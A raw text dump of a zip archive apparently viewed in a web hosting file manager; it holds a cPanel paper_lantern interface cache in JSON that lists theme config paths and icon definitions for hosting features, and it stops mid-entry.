File manager - Edit - /home/blanktec/reputeus/public_html/caches.zip
Back
PK �,�\'%��c1 c1 ! dynamicui/paper_lantern_en_.cachenu �[��� {"cachetime":1678782187,"dyalist":[{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui.conf"},{"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_aicontent3.conf","allow_legacy":1},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_plugin_one.conf"},{"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_plugin_six.conf","allow_legacy":1},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_attracta_wpthemes.conf"},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_group_sitewit_group.conf"},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_imunify360.conf"},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_codecanyon.conf"},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_sitepad.conf"},{"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_attracta_cart.conf","allow_legacy":1},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_lvepythonsel.conf"},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_attracta_wpthemes2.conf"},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_plugin_four.conf"},{"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_attracta_getingoogle.conf","allow_legacy":1},{"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_wp_softaculous.conf","allow_legacy":1},{"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_lvephpsel.conf","allow_legacy":1},{"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_letsencrypt-cpanel.conf","allow_legacy":1},{"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_attracta_emailmarketing3.conf","allow_legacy":1},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_lvenodejssel.conf"},{"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_group_soft_div.conf","allow_legacy":1},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_rankcheck.conf"},{"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_aicontent.conf","allow_legacy":1},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_rankcheck2.conf"},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_cpanel-site-monitor.conf"},{"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_group_se_group.conf","allow_legacy":1},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_plugin_two.conf"},{"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_lveresusage.conf","allow_legacy":1},{"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_group_wp_affiliates.conf","allow_legacy":1},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_sitepad_div_icons.conf"},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_plugin_five.conf"},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_attracta_wpvisual.conf"},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_group_attracta_seo.conf"},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_attracta_increasewebsitetraffic.conf"},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_athemes.conf"},{"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_plugin_seven.conf","allow_legacy":1},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_attracta_cart2.conf"},{"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_attracta_seo.conf","allow_legacy":1},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_themify.conf"},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_attracta_emailmarketing.conf"},{"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_softaculous.conf","allow_legacy":1},{"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_themeforest.conf","allow_legacy":1},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_aicontent2.conf"},{"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_soft_div_icons.conf","allow_legacy":1},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_mojothemes.conf"},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_plugin_three.conf"},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_lverubysel.conf"},{"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_inodes.conf","allow_legacy":1},{"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_attracta_linkbuilding.conf","allow_legacy":1},{"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_solostream.conf","allow_legacy":1},{"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_jb5.conf","allow_legacy":1},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_attracta_seotools.conf"},{"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_cart2cart.conf","allow_legacy":1},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_psf.conf"},{"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_lvewpos.conf","allow_legacy":1},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_group_sitepad_div.conf"},{"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_attracta_socialmm2.conf","allow_legacy":1},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/paper_lantern//dynamicui/dynamicui_seranking.conf"},{"allow_legacy":1,"file":"/var/cpanel/userhomes/cpanel/cpanelbranding/paper_lantern/dynamicui.conf"}],"version":"5.0","conf":{"remote_mysql":{"subtype":"img","onclick":"","feature":"mysql","description":"Remote MySQL®","base64_png_image":"","key":"remote_mysql","target":"","height":"48","file":"remote_mysql","searchtext":"Remote MySQL db Remote MySQL®","width":"48","acontent":"","itemorder":"4","imgtype":"icon","url":"sql/managehost.html","itemdesc":"Remote MySQL®","plainitemdesc":"Remote MySQL®","group":"databases","type":"image","if":"$SERVICEPROVIDED{'mysql'}"},"php":{"file":"php","searchtext":"PHP configuration","width":"48","itemorder":"1","acontent":"","base64_png_image":"","onclick":"","feature":"php-config","subtype":"img","description":"PHP","target":"","height":"48","key":"php","type":"image","itemdesc":"PHP","plainitemdesc":"PHP","group":"software","if":"!$is_ea4","imgtype":"icon","url":"php/index.html?lang"},"ftp_accounts":{"imgtype":"icon","url":"ftp/accounts.html","type":"image","touch":"ftp","group":"files","plainitemdesc":"FTP Accounts","itemdesc":"FTP Accounts","if":"$SERVICEPROVIDED{'ftp'}","base64_png_image":"","onclick":"","subtype":"img","feature":"ftpaccts","description":"FTP Accounts","height":"48","target":"","key":"ftp_accounts","searchtext":"FTP Accounts ftp create","width":"48","file":"ftp_accounts","itemorder":"6","acontent":""},"php_my_admin":{"description":"phpMyAdmin","onclick":"","subtype":"img","feature":"phpmyadmin","base64_png_image":"","implements":"Database_phpMyAdmin","key":"php_my_admin","target":"phpmyadmin","height":"48","searchtext":"phpMyAdmin database db","width":"48","file":"php_my_admin","acontent":"target=\"phpmyadmin\"","itemorder":"1","imgtype":"icon","url":"sql/PhpMyAdmin.html","itemdesc":"phpMyAdmin","group":"databases","plainitemdesc":"phpMyAdmin","type":"image","if":"$SERVICEPROVIDED{'mysql'}"},"mod_security":{"type":"image","plainitemdesc":"ModSecurity","group":"security","itemdesc":"ModSecurity","if":"$HASROLE{'WebServer'} && $is_mod_security_installed","imgtype":"icon","url":"security/mod_security/index.html","searchtext":"ModSecurity mod security mod_security","file":"mod_security","width":"48","acontent":"","itemorder":"7","base64_png_image":"","onclick":"","subtype":"img","feature":"modsecurity","description":"ModSecurity","target":"","height":"48","key":"mod_security"},"archive":{"type":"image","itemdesc":"Archive","plainitemdesc":"Archive","group":"email","if":"$HASROLE{'MailReceive'} && $CONFIF{'emailarchive'}","url":"mail/archive.html","imgtype":"icon","file":"archive","searchtext":"email archive Email Archiving Archive","width":"48","itemorder":"14","acontent":"","implements":"Email_Archive","base64_png_image":"","onclick":"","feature":"emailarchive","subtype":"img","description":"Archive","target":"","height":"48","key":"archive"},"postgresql_databases":{"if":"$SERVICEPROVIDED{'postgresql'} && $haspostgres","type":"image","group":"databases","plainitemdesc":"PostgreSQL Databases","itemdesc":"PostgreSQL Databases","imgtype":"icon","url":"psql/index.html","itemorder":"5","acontent":"","searchtext":"PostgreSQL Databases postgres database postgresql db","width":"48","file":"postgresql_databases","height":"48","target":"","key":"postgresql_databases","base64_png_image":"","feature":"postgres","onclick":"","subtype":"img","description":"PostgreSQL Databases"},"track_delivery":{"height":"48","target":"","key":"track_delivery","implements":"Email_DeliveryReport","base64_png_image":"","description":"Track Delivery","onclick":"","subtype":"img","feature":"emailtrace","itemorder":"8","acontent":"","file":"track_delivery","searchtext":"Track Delivery Email Trace email mail delivery report","width":"48","url":"mail/route.html","imgtype":"icon","if":"$HASROLE{'MailReceive'} && $HASROLE{'MailSend'}","type":"image","itemdesc":"Track Delivery","plainitemdesc":"Track Delivery","group":"email"},"email_disk_usage":{"type":"image","itemdesc":"Email Disk Usage","group":"email","plainitemdesc":"Email Disk Usage","if":"$HASROLE{'MailReceive'}","imgtype":"icon","url":"mail/manage_disk_usage/","width":"48","searchtext":"email accounts mail disk usage bytes mb size Email Disk Usage","file":"email_disk_usage","acontent":"","itemorder":"19","implements":"Email_Disk_Usage","base64_png_image":"","onclick":"","subtype":"img","description":"Email Disk Usage","feature":"popaccts && email_disk_usage","height":"48","target":"","key":"email_disk_usage"},"autoresponders":{"searchtext":"Autoresponders autoresponder auto responders","width":"48","file":"autoresponders","acontent":"","itemorder":"5","implements":"Email_AutoResponders","base64_png_image":"","onclick":"","subtype":"img","feature":"autoresponders","description":"Autoresponders","height":"48","target":"","key":"autoresponders","type":"image","plainitemdesc":"Autoresponders","group":"email","itemdesc":"Autoresponders","if":"$HASROLE{'MailReceive'} && $HASROLE{'MailSend'}","imgtype":"icon","url":"mail/autores.html"},"domains":{"acontent":"","itemorder":"2","searchtext":"domains addon subdomain parked create domain force https redirect Domains","width":"48","file":"domains","target":"","height":"48","key":"domains","base64_png_image":"","subtype":"img","onclick":"","description":"Domains","feature":"addondomains || subdomains || parkeddomains || sslinstall","imagetype":"icon","type":"image","plainitemdesc":"Domains","group":"domains","itemdesc":"Domains","url":"domains/index.html"},"php_pg_admin":{"if":"$SERVICEPROVIDED{'postgresql'} && $haspostgres","type":"image","itemdesc":"phpPgAdmin","group":"databases","plainitemdesc":"[asis,phpPgAdmin]","imgtype":"icon","url":"/3rdparty/phpPgAdmin/index.php","acontent":"target=\"phppgadmin\"","itemorder":"7","searchtext":"phpPgAdmin database psql db","file":"php_pg_admin","width":"48","target":"phppgadmin","height":"48","key":"php_pg_admin","base64_png_image":"","description":"phpPgAdmin","onclick":"","subtype":"img","feature":"phppgadmin"},"tls_wizard":{"type":"image","itemdesc":"SSL/TLS Wizard","group":"security","plainitemdesc":"[asis,SSL]/[asis,TLS] Wizard","if":"$HASROLE{'UserSSL'} && $market_has_enabled_providers","url":"security/tls_wizard/","imgtype":"icon","file":"tls_wizard","searchtext":"SSL/TLS Wizard","width":"48","acontent":"","itemorder":"6","implements":"SSL_TLS_Wizard","base64_png_image":"","onclick":"","subtype":"img","feature":"market && tls_wizard && sslinstall","description":"SSL/TLS Wizard","target":"","height":"48","key":"tls_wizard"},"plugin_two":{"url":"sitewit/index.html?icon=2&option=yahoo","imgtype":"icon","plainitemdesc":"Be Found Instantly","group":"sitewit_group","itemdesc":"Be Found Instantly","type":"image","height":"47","target":"","onclick":"","description":"Be Found Instantly","subtype":"img","feature":"plugin_two","base64_png_image":"","itemorder":"2","acontent":"","searchtext":"Be Found Instantly","file":"plugin_two","width":"47"},"themify":{"type":"image","itemdesc":"Themify Themes","plainitemdesc":"Themify Themes","group":"wp_affiliates","imgtype":"icon","url":"http://bit.ly/1MGj8MM","width":"47","searchtext":"Themify Themes","file":"themify","acontent":"","itemorder":"3","base64_png_image":"","description":"Themify Themes","onclick":"","subtype":"img","feature":"themify","height":"47","target":""},"mime_types":{"acontent":"","itemorder":"7","file":"mime_types","searchtext":"MIME Types mimetype types","width":"48","target":"","height":"48","key":"mime_types","base64_png_image":"","subtype":"img","onclick":"","description":"MIME Types","feature":"mime","if":"$HASROLE{'WebServer'}","type":"image","group":"advanced","plainitemdesc":"MIME Types","itemdesc":"MIME Types","url":"mime/mime.html","imgtype":"icon"},"attracta_seo":{"type":"image","itemdesc":"attracta_seo","group":"Attracta_SEO","version":" 1.0","imgtype":"icon","width":"32","searchtext":"attracta_seo","file":"attracta_seo","grouporder":"3","groupdesc":"SEO and Marketing Tools","acontent":"","base64_png_image":"","subtype":"img","onclick":"","feature":"attracta_seo","description":"SEO and Marketing Tools","height":"32","target":""},"zone_editor":{"key":"zone_editor","height":"48","target":"","onclick":"","subtype":"img","feature":"simplezoneedit || changemx || zoneedit","description":"Zone Editor","base64_png_image":"","itemorder":"6","acontent":"","searchtext":"zone editor advanced simple caa cname a aaaa txt dkim dmarc spf mx srv record dns dnssec Zone Editor","file":"zone_editor","width":"48","url":"zone_editor/index.html","imgtype":"icon","if":"$HASROLE{'DNS'}","group":"domains","plainitemdesc":"Zone Editor","itemdesc":"Zone Editor","type":"image"},"ruby_gems":{"target":"","height":"48","key":"ruby_gems","base64_png_image":"","subtype":"img","onclick":"","description":"RubyGems","feature":"modules-ruby","itemorder":"4","acontent":"","width":"48","searchtext":"RubyGems ror ruby gems rails","file":"ruby_gems","imgtype":"icon","url":"module_installers/index.html?lang=ruby","if":"$hasgem","type":"image","itemdesc":"RubyGems","plainitemdesc":"RubyGems","group":"software"},"address_importer":{"if":"$HASROLE{'MailReceive'}","type":"image","plainitemdesc":"Address Importer","group":"email","itemdesc":"Address Importer","imgtype":"icon","url":"mail/csvimport.html","itemorder":"12","acontent":"","searchtext":"Address Importer Import Addresses Forwarders Mail csv import xls import","width":"48","file":"address_importer","height":"48","target":"","key":"address_importer","base64_png_image":"","subtype":"img","onclick":"","description":"Address Importer","feature":"csvimport"},"raw_access":{"description":"Raw Access","onclick":"","subtype":"img","feature":"rawlog","base64_png_image":"","key":"raw_access","height":"48","target":"","file":"raw_access","searchtext":"Raw Access logs raw logs rawlogs","width":"48","itemorder":"4","acontent":"","imgtype":"icon","url":"raw/index.html","plainitemdesc":"Raw Access","group":"metrics","itemdesc":"Raw Access","type":"image","if":"$HASROLE{'WebServer'}"},"site_publisher":{"imgtype":"icon","url":"site_publisher/index.html","if":"$HASROLE{'WebServer'}","type":"image","itemdesc":"Site Publisher","group":"domains","plainitemdesc":"Site Publisher","target":"","height":"48","key":"site_publisher","base64_png_image":"","feature":"sitepublisher","onclick":"","subtype":"img","description":"Site Publisher","itemorder":"1","acontent":"","width":"48","searchtext":"site publisher builder start website generator template Site Publisher","file":"site_publisher"},"group_sitepad_div":{"subtype":"img","onclick":"","description":"FastComet Website Builder - Themes","base64_png_image":"","height":"47","target":"","grouporder":"10","searchtext":"group_sitepad_div","width":"47","file":"group_sitepad_div","acontent":"","groupdesc":"FastComet Website Builder - Themes","imgtype":"icon","group":"sitepad_div","itemdesc":"group_sitepad_div","type":"image"},"group_files":{"group":"files","itemdesc":"group_files","type":"image","imgtype":"icon","grouporder":"2","searchtext":"group_files","file":"group_files","width":"48","acontent":"","groupdesc":"Files","onclick":"","subtype":"img","description":"Files","base64_png_image":"","key":"group_files","target":"","height":"48"},"optimize_website":{"height":"32","target":"","key":"optimize_website","base64_png_image":"","feature":"optimizews","onclick":"","subtype":"img","description":"Optimize Website","acontent":"","itemorder":"7","searchtext":"Optimize Website","width":"32","file":"optimize_website","url":"optimize/index.html","imgtype":"icon","if":"$hasmoddeflate","type":"image","plainitemdesc":"Optimize Website","group":"software","itemdesc":"Optimize Website"},"mysql_manager":{"itemdesc":"MySQL® Manager","plainitemdesc":"MySQL® Manager","group":"databases","type":"image","if":"$experimental{'mysql_manager'}","imgtype":"icon","url":"mysql-manager/index.html","file":"mysql_manager","width":48,"searchtext":"mysql manager database db MySQL® Manager","itemorder":1,"acontent":"","description":"MySQL® Manager","onclick":"","subtype":"img","feature":"mysql_manager","base64_png_image":"","key":"mysql_manager","target":"","height":48},"group_soft_div":{"acontent":"","groupdesc":"Softaculous Apps Installer","grouporder":"10","searchtext":"group_soft_div","file":"group_soft_div","width":"47","height":"47","target":"","onclick":"","subtype":"img","description":"Softaculous Apps Installer","base64_png_image":"","group":"soft_div","itemdesc":"group_soft_div","type":"image","imgtype":"icon"},"anonymous_ftp":{"file":"anonymous_ftp","searchtext":"Anonymous FTP anonymousftp","width":"48","acontent":"","itemorder":"8","subtype":"img","onclick":"","description":"Anonymous FTP","feature":"ftpaccts","base64_png_image":"","key":"anonymous_ftp","target":"","height":"48","itemdesc":"Anonymous FTP","group":"files","plainitemdesc":"Anonymous FTP","touch":"ftp","type":"image","if":"$SERVICEPROVIDED{'ftp'} && $hasanonftp","url":"ftp/anonymous.html","imgtype":"icon"},"psf":{"searchtext":"Professional Spam Filter","width":"47","file":"psf","acontent":"","itemorder":"999","onclick":"","subtype":"img","feature":"prospamfilter","description":"Professional Spam Filter","base64_png_image":"","height":"47","target":"","itemdesc":"Professional Spam Filter","plainitemdesc":"Professional Spam Filter","group":"email","type":"image","imgtype":"icon","url":"prospamfilter/index.html"},"directory_privacy":{"imgtype":"icon","url":"htaccess/index.html","if":"$HASROLE{'WebServer'}","type":"image","group":"files","plainitemdesc":"Directory Privacy","itemdesc":"Directory Privacy","height":"48","target":"","key":"directory_privacy","base64_png_image":"","feature":"webprotect","onclick":"","subtype":"img","description":"Directory Privacy","itemorder":"3","acontent":"","file":"directory_privacy","searchtext":"Directory Privacy passwordprotect password protect","width":"48"},"web_host_manager":{"key":"web_host_manager","target":"","height":"48","onclick":"","description":"WebHost Manager®","subtype":"img","base64_png_image":"","itemorder":"1","acontent":"","searchtext":"WebHost Manager webhostmanager whm WebHost Manager®","width":"48","file":"web_host_manager","imgtype":"icon","url":"/xferwhm/","if":"$isreseller","group":"advanced","itemdesc":"WebHost Manager®","type":"image"},"group_domains":{"grouporder":"4","searchtext":"group_domains","width":"4","file":"group_domains","acontent":"","groupdesc":"Domains","onclick":"","subtype":"img","description":"Domains","base64_png_image":"","key":"group_domains","target":"","height":"48","group":"domains","itemdesc":"group_domains","type":"image","if":"$HASROLE{'WebServer'} || $HASROLE{'DNS'}","imgtype":"icon"},"softaculous":{"searchtext":"Softaculous Apps Installer","width":"47","file":"softaculous","itemorder":"99","acontent":"","feature":"softaculous","onclick":"","subtype":"img","description":"Softaculous Apps Installer","base64_png_image":"","implements":"Softaculous_Home","target":"","height":"47","itemdesc":"Softaculous Apps Installer","plainitemdesc":"Softaculous Apps Installer","group":"software","type":"image","url":"softaculous/index.live.php","imgtype":"icon"},"addon_domains":{"acontent":"","itemorder":"3","file":"addon_domains","searchtext":"Domains Addon domain Addon Domains","width":"48","key":"addon_domains","height":"48","target":"","subtype":"img","onclick":"","description":"Addon Domains","feature":"addondomains","base64_png_image":"","implements":"Domains_AddonDomains","if":"$HASROLE{'WebServer'}","itemdesc":"Addon Domains","plainitemdesc":"Addon Domains","group":"domains","type":"image","url":"addon/index.html","imgtype":"icon"},"email_deliverability":{"searchtext":"email Authentication Email Deliverability spf domain-keys authentication DKIM","file":"email_deliverability","width":"48","itemorder":"11","acontent":"","onclick":"","description":"Email Deliverability","subtype":"img","feature":"emailauth","base64_png_image":"","implements":"Email_Authentication","key":"email_deliverability","height":"48","target":"","plainitemdesc":"Email Deliverability","group":"email","itemdesc":"Email Deliverability","type":"image","if":"$HASROLE{'MailSend'}","url":"email_deliverability/","imgtype":"icon"},"wp_softaculous":{"acontent":"","itemorder":"1","width":"47","searchtext":"WordPress Manager by Softaculous","file":"wp_softaculous","target":"","height":"47","base64_png_image":"","implements":"Softaculous_WordPress","subtype":"img","onclick":"","feature":"wp_softaculous","description":"WordPress Manager by Softaculous","type":"image","itemdesc":"WordPress Manager by Softaculous","group":"software","plainitemdesc":"WordPress Manager by Softaculous","imgtype":"icon","url":"softaculous/index.live.php?act=wordpress"},"indexes":{"target":"","height":"48","key":"indexes","base64_png_image":"","subtype":"img","onclick":"","feature":"indexmanager","description":"Indexes","acontent":"","itemorder":"4","searchtext":"Indexes index manager","file":"indexes","width":"48","url":"indexmanager/index.html","imgtype":"icon","if":"$HASROLE{'WebServer'}","type":"image","plainitemdesc":"Indexes","group":"advanced","itemdesc":"Indexes"},"hotlink_protection":{"subtype":"img","onclick":"","description":"Hotlink Protection","feature":"hotlink","base64_png_image":"","key":"hotlink_protection","height":"48","target":"","searchtext":"Hotlink Protection","file":"hotlink_protection","width":"48","itemorder":"4","acontent":"","url":"mime/hotlink.html","imgtype":"icon","plainitemdesc":"Hotlink Protection","group":"security","itemdesc":"Hotlink Protection","type":"image","if":"$HASROLE{'WebServer'}"},"mysql_database_wizard":{"acontent":"","itemorder":"3","file":"mysql_database_wizard","searchtext":"MySQL Database Wizard mysql database db MySQL® Database Wizard","width":"48","height":"48","target":"","key":"mysql_database_wizard","base64_png_image":"","description":"MySQL® Database Wizard","onclick":"","subtype":"img","feature":"mysql","if":"$SERVICEPROVIDED{'mysql'}","type":"image","itemdesc":"MySQL® Database Wizard","plainitemdesc":"MySQL® Database Wizard","group":"databases","imgtype":"icon","url":"sql/wizard1.html"},"attracta_socialmm2":{"type":"image","itemdesc":"WordPress Social Media Optimization","plainitemdesc":"WordPress Social Media Optimization","group":"attracta_seo","imgtype":"icon","url":"https://www.attracta.com/extlinks/wpsocial","file":"attracta_socialmm2","searchtext":"WordPress Social Media Optimization","width":"47","acontent":"target=\"_blank\"","itemorder":"10","base64_png_image":"","onclick":"","description":"WordPress Social Media Optimization","subtype":"img","feature":"attracta_socialmm2","target":"_blank","height":"47"},"aliases":{"acontent":"","itemorder":"5","searchtext":"Aliases Parked domains domain","file":"aliases","width":"48","key":"aliases","height":"48","target":"","onclick":"","subtype":"img","description":"Aliases","feature":"parkeddomains","base64_png_image":"","if":"$HASROLE{'WebServer'}","plainitemdesc":"Aliases","group":"domains","itemdesc":"Aliases","type":"image","url":"park/index.html","imgtype":"icon"},"attracta_wpvisual":{"group":"attracta_seo","plainitemdesc":"Drag & Drop Visual Page Builder","itemdesc":"Drag & Drop Visual Page Builder","type":"image","url":"https://www.attracta.com/extlinks/wpvisual","imgtype":"icon","itemorder":"11","acontent":"target=\"_blank\"","searchtext":"Drag & Drop Visual Page Builder","file":"attracta_wpvisual","width":"47","target":"_blank","height":"47","feature":"attracta_wpvisual","onclick":"","subtype":"img","description":"Drag & Drop Visual Page Builder","base64_png_image":""},"change_language":{"searchtext":"language setlang Change Language","width":"48","file":"change_language","itemorder":"2","acontent":"","implements":"Locale_Change","base64_png_image":"","onclick":"","subtype":"img","description":"Change Language","feature":"setlang","target":"","height":"48","key":"change_language","type":"image","itemdesc":"Change Language","group":"preferences","plainitemdesc":"Change Language","imgtype":"icon","url":"setlang/index.html"},"group_email":{"imgtype":"icon","group":"email","itemdesc":"group_email","type":"image","if":"$HASROLE{'MailSend'} || $HASROLE{'MailReceive'} || $HASROLE{'DNS'} || $HASROLE{'CalendarContact'}","onclick":"","subtype":"img","description":"Email","base64_png_image":"","key":"group_email","height":"48","target":"","grouporder":"1","searchtext":"group_email","width":"48","file":"group_email","acontent":"","groupdesc":"Email"},"plugin_six":{"searchtext":"Visitor Behavior Metrics","file":"plugin_six","width":"47","acontent":"","itemorder":"6","feature":"plugin_six","onclick":"","subtype":"img","description":"Visitor Behavior Metrics","base64_png_image":"","target":"","height":"47","plainitemdesc":"Visitor Behavior Metrics","group":"sitewit_group","itemdesc":"Visitor Behavior Metrics","type":"image","url":"sitewit/index.html?icon=4&option=analytics","imgtype":"icon"},"attracta_wpthemes":{"imgtype":"icon","url":"https://www.attracta.com/extlinks/wpthemes","itemdesc":"SEO Optimized WordPress Themes","group":"attracta_seo","plainitemdesc":"SEO Optimized WordPress Themes","type":"image","target":"_blank","height":"47","feature":"attracta_wpthemes","onclick":"","subtype":"img","description":"SEO Optimized WordPress Themes","base64_png_image":"","itemorder":"9","acontent":"target=\"_blank\"","searchtext":"SEO Optimized WordPress Themes","width":"47","file":"attracta_wpthemes"},"terminal":{"target":"","height":"48","key":"terminal","base64_png_image":"","subtype":"img","onclick":"","description":"Web-based Terminal","feature":"ssh","acontent":"","itemorder":"1","width":"48","searchtext":"terminal bash tcsh command line shell ssh Terminal","file":"terminal","url":"terminal/index.html","imgtype":"icon","if":"$hasvalidshell && $HASROLE{'FileStorage'}","type":"image","itemdesc":"Terminal","plainitemdesc":"Terminal","group":"advanced"},"images":{"url":"cpanelpro/images.html","imgtype":"icon","if":"$HASROLE{'WebServer'}","group":"files","plainitemdesc":"Images","itemdesc":"Images","type":"image","key":"images","height":"48","target":"","onclick":"","feature":"cpanelpro_images","subtype":"img","description":"Images","base64_png_image":"","acontent":"","itemorder":"2","width":"48","searchtext":"image manager resize manager scaler thumbnailer format Images","file":"images"},"tls_status":{"acontent":"","itemorder":"7","file":"tls_status","searchtext":"SSL/TLS Status","width":"48","height":"48","target":"","key":"tls_status","implements":"SSL_TLS_Status","base64_png_image":"","onclick":"","subtype":"img","description":"SSL/TLS Status","feature":"sslinstall","if":"$HASROLE{'UserSSL'}","type":"image","plainitemdesc":"[asis,SSL]/[asis,TLS] Status","group":"security","itemdesc":"SSL/TLS Status","imgtype":"icon","url":"security/tls_status/"},"dynamic_dns":{"width":48,"searchtext":"dynamic dns ddns ip subdomain Dynamic DNS","file":"dynamic_dns","acontent":"","itemorder":9,"base64_png_image":"","onclick":"","subtype":"img","feature":"dynamicdns","description":"Dynamic DNS","height":48,"target":"","key":"dynamic_dns","type":"image","itemdesc":"Dynamic DNS","plainitemdesc":"Dynamic DNS","group":"domains","if":"$HASROLE{'DNS'}","imgtype":"icon","url":"dynamic-dns/index.html"},"file_manager":{"acontent":"target=\"file_manager\"","itemorder":"1","searchtext":"File Manager file-manager","file":"file_manager","width":"48","height":"48","target":"file_manager","key":"file_manager","implements":"FileManager_Home","base64_png_image":"","onclick":"","subtype":"img","description":"File Manager","feature":"filemanager","if":"$HASROLE{'FileStorage'}","type":"image","itemdesc":"File Manager","plainitemdesc":"File Manager","group":"files","imgtype":"icon","url":"filemanager/index.html"},"attracta_seotools":{"type":"image","group":"attracta_seo","plainitemdesc":"SEO Tools","itemdesc":"SEO Tools","imgtype":"icon","url":"/frontend/paper_lantern/attracta/index.live.pl?id=32","width":"47","searchtext":"SEO Tools","file":"attracta_seotools","itemorder":"2","acontent":"","base64_png_image":"","feature":"attracta_seotools","onclick":"","subtype":"img","description":"SEO Tools","target":"","height":"47"},"attracta_cart":{"plainitemdesc":"Free Shopping Cart","group":"attracta_seo","itemdesc":"Free Shopping Cart","type":"image","imgtype":"icon","url":"https://www.attracta.com/extlinks/shoppingcart","acontent":"","itemorder":"12","searchtext":"Free Shopping Cart","file":"attracta_cart","width":"47","height":"47","target":"","onclick":"","subtype":"img","description":"Free Shopping Cart","feature":"attracta_cart","base64_png_image":""},"apache_handlers":{"height":"48","target":"","key":"apache_handlers","base64_png_image":"","subtype":"img","onclick":"","description":"Apache Handlers","feature":"handlers","acontent":"","itemorder":"6","searchtext":"Apache Handlers apache handlers extension configure","file":"apache_handlers","width":"48","imgtype":"icon","url":"mime/handle.html","if":"$HASROLE{'WebServer'}","type":"image","itemdesc":"Apache Handlers","plainitemdesc":"Apache Handlers","group":"advanced"},"group_databases":{"imgtype":"icon","if":"$SERVICEPROVIDED{'mysql'} || $SERVICEPROVIDED{'postgresql'}","itemdesc":"group_databases","group":"databases","type":"image","key":"group_databases","height":"48","target":"","subtype":"img","onclick":"","description":"Databases","base64_png_image":"","groupdesc":"Databases","acontent":"","searchtext":"group_databases","file":"group_databases","width":"48","grouporder":"3"},"mailing_lists":{"acontent":"","itemorder":"7","searchtext":"Mailing Lists mailman","file":"mailing_lists","width":"48","height":"48","target":"","key":"mailing_lists","implements":"Email_MailingLists","base64_png_image":"","onclick":"","subtype":"img","description":"Mailing 